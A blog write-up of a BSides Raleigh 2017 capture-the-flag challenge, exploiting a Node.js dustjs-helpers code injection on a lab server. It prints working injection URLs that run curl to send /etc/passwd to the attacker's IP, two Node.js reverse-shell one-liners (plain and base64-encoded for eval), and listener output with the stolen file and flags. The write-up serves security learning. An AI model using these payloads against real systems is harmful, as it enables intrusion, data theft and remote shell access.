Nodejs Code Injection (EverSec CTF – BSides Raleigh 2017)

There was a challenge with Nodejs code injection during the BSides Raleigh CTF, and here is the write-up.

Nodejs Code Injection - Introduction

First, I apologize for not putting the period in Node.js, but it is messing with my URL structure and SEO plugin.

Gabe suggested this challenge to me as a fun one, and I believe that no one else was able to solve it.

Consultant's Page

One of the earlier challenges revolves around logging into the consultants page - http://192.168.0.205/consultants

Nodejs Code Injection - Consultants Login

In this case, Gabe told me to take a further look into the page, to see if I could find anything.

First, I found a comment mentioning the eversec-website Github repository.

<!-- 
<a href="https://github.com/eversec-rocks/eversec-website"><img src="/images/express.svg"></a>
Hiding until we can figure out how Github badges work 
-->

From there, I started to peruse the repository (https://github.com/eversec-rocks/eversec-website) to see if I could find anything interesting.

Finding the Vulnerability

First, I decided to try to fuzz the password box. While SQL Injection wasn't the correct path (it has been in the past though), I was able to eventually get an error page.

Nodejs Code Injection - Backslash Error

After a bit of searching around, I noticed that the app.js file was including the dustjs-helpers library.

Enter my super-pro Bing skills, and it looks like there might be some sort of vulnerability in this library.

Nodejs Code Injection - Search Results

Node.js Code Injection - Verifying the Vulnerability

Following the Paypal RCE write-up, I also attempted to send a password parameter as an Array instead of a string. Similar to the author, I received a syntax error, so I hoped that I was in business!

http://192.168.0.205/consultants?password[]=&password[]=%27

Nodejs Code Injection - Password Attempt

Code Execution

First, I attempted a similar payload to the original author, to verify code execution.

http://192.168.0.205/consultants?password[]=x&password[]=y%27-require(%27child_process%27).exec(%27curl+-F+%22x=`cat+/etc/passwd`%22+192.168.0.71%27)-%27

root@kali32:~# nc -lvvp 80
listening on [any] 80 ...
192.168.0.205: inverse host lookup failed: h_errno 11004: NO_DATA
connect to [192.168.0.71] from (UNKNOWN) [192.168.0.205] 48716: NO_DATA
POST / HTTP/1.1
User-Agent: curl/7.35.0
Host: 192.168.0.71
Accept: */*
Content-Length: 1121
Expect: 100-continue
Content-Type: multipart/form-data; boundary=------------------------ed3bb114db9fbf15

--------------------------ed3bb114db9fbf15
Content-Disposition: form-data; name="x"

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
evrs:x:1000:1000::/home/evrs:
--------------------------ed3bb114db9fbf15--

With code execution successful, it was time to get a shell!

Reverse Shell Attempt #1

While it should have been possible to just execute a system command, I wanted to write my reverse shell in Nodejs as well!

First, I found a gist for a Nodejs reverse shell, that looked like it would solve my problem perfectly.

Next, I minimized the script down to one line, to keep things cleaner.

var spawn = require('child_process').spawn; var net = require('net'); var reconnect = require('reconnect'); reconnect(function (stream) { var ps = spawn('bash', [ '-i' ]); stream.pipe(ps.stdin); ps.stdout.pipe(stream, { end: false }); ps.stderr.pipe(stream, { end: false }); ps.on('exit', function () { stream.end() }); }).connect(8080, '192.168.0.71');

Finally, I encoded the payload to prevent any special characters from breaking my request.

http://192.168.0.205/consultants?password[]=x&password[]=y%27-eval(new%20Buffer(%22dmFyIHNwYXduID0gcmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLnNwYXduOyB2YXIgbmV0ID0gcmVxdWlyZSgnbmV0Jyk7IHZhciByZWNvbm5lY3QgPSByZXF1aXJlKCdyZWNvbm5lY3QnKTsgcmVjb25uZWN0KGZ1bmN0aW9uIChzdHJlYW0pIHsgdmFyIHBzID0gc3Bhd24oJ2Jhc2gnLCBbICctaScgXSk7IHN0cmVhbS5waXBlKHBzLnN0ZGluKTsgcHMuc3Rkb3V0LnBpcGUoc3RyZWFtLCB7IGVuZDogZmFsc2UgfSk7IHBzLnN0ZGVyci5waXBlKHN0cmVhbSwgeyBlbmQ6IGZhbHNlIH0pOyBwcy5vbignZXhpdCcsIGZ1bmN0aW9uICgpIHsgc3RyZWFtLmVuZCgpIH0pOyB9KS5jb25uZWN0KDgwODAsICcxOTIuMTY4LjAuNzEnKTs=%22,%20%22base64%22).toString())-%27

Unfortunately, it looked like I was missing a required library for this particular payload.

Nodejs Code Injection - Reverse Shell #1

Reverse Shell Success

After a bit more searching, I found another possible reverse shell.

As before, I minimized (and then encoded) the payload. Note that this article is actually where I got the idea to eval the encoded strings.

var net = require("net"), sh = require("child_process").exec("/bin/bash"); var client = new net.Socket(); client.connect(8080, "192.168.0.71", function(){client.pipe(sh.stdin);sh.stdout.pipe(client); sh.stderr.pipe(client);});

This was the final payload - http://192.168.0.205/consultants?password[]=x&password[]=y%27-eval(new%20Buffer(%22dmFyIG5ldCA9IHJlcXVpcmUoIm5ldCIpLCBzaCA9IHJlcXVpcmUoImNoaWxkX3Byb2Nlc3MiKS5leGVjKCIvYmluL2Jhc2giKTsgdmFyIGNsaWVudCA9IG5ldyBuZXQuU29ja2V0KCk7IGNsaWVudC5jb25uZWN0KDgwODAsICIxOTIuMTY4LjAuNzEiLCBmdW5jdGlvbigpe2NsaWVudC5waXBlKHNoLnN0ZGluKTtzaC5zdGRvdXQucGlwZShjbGllbnQpOyBzaC5zdGRlcnIucGlwZShjbGllbnQpO30pOw==%22,%20%22base64%22).toString())-%27.

With my netcat listener in place, I was able to get a reverse shell from this attack! I also grabbed the two flags that I could find.

root@kali32:~#  nc -lvvp 8080
listening on [any] 8080 ...
192.168.0.205: inverse host lookup failed: h_errno 11004: NO_DATA
connect to [192.168.0.71] from (UNKNOWN) [192.168.0.205] 48654: NO_DATA
id
uid=1000(evrs) gid=1000(evrs) groups=1000(evrs),27(sudo)
^C
C:\Tools\netcat-1.11>nc.exe -lvvp 8080
listening on [any] 8080 ...
192.168.0.205: inverse host lookup failed: h_errno 11004: NO_DATA
connect to [192.168.0.71] from (UNKNOWN) [192.168.0.205] 49106: NO_DATA
id
uid=1000(evrs) gid=1000(evrs) groups=1000(evrs),27(sudo)
evrs@evrs-main:/apps/evrs-main-express$ cat lol.txt
cat lol.txt
j00V4nd4l1
evrs@evrs-main:/apps/evrs-main-express$ cat deareversec.txt
cat deareversec.txt
uL3tMeD0wn4t3hL@s7T1m3

Nodejs Code Injection - Conclusion

While the write-up is a little late, I wanted to make sure that it could be used at a few other cons.

This was a really fun challenge, and I'm glad that I forced myself to only use Nodejs.

I've got one smaller write-up, and an even bigger one on the way!

Let me know if there are any other challenges that you'd like to see write-ups for as well.

doyler on Githubdoyler on Twitter
doyler
Ray Doyle is an avid pentester/security enthusiast/beer connoisseur who has worked in IT for almost 16 years now. From building machines and the software on them, to breaking into them and tearing it all down; he's done it all. To show for it, he has obtained an OSCE, OSCP, eCPPT, GXPN, eWPT, eWPTX, SLAE, eMAPT, Security+, ICAgile CP, ITIL v3 Foundation, and even a sabermetrics certification!

He currently serves as a Principal Penetration Testing Consultant for Secureworks. His previous position was a Senior Penetration Tester for a major financial institution.

When he's not figuring out what cert to get next or side project to work on, he enjoys playing video games, traveling, and watching sports.

Leave a Comment

Filed under Security Not Included

Leave a Reply

Your email address will not be published. Required fields are marked *

*

This site uses Akismet to reduce spam. Learn how your comment data is processed.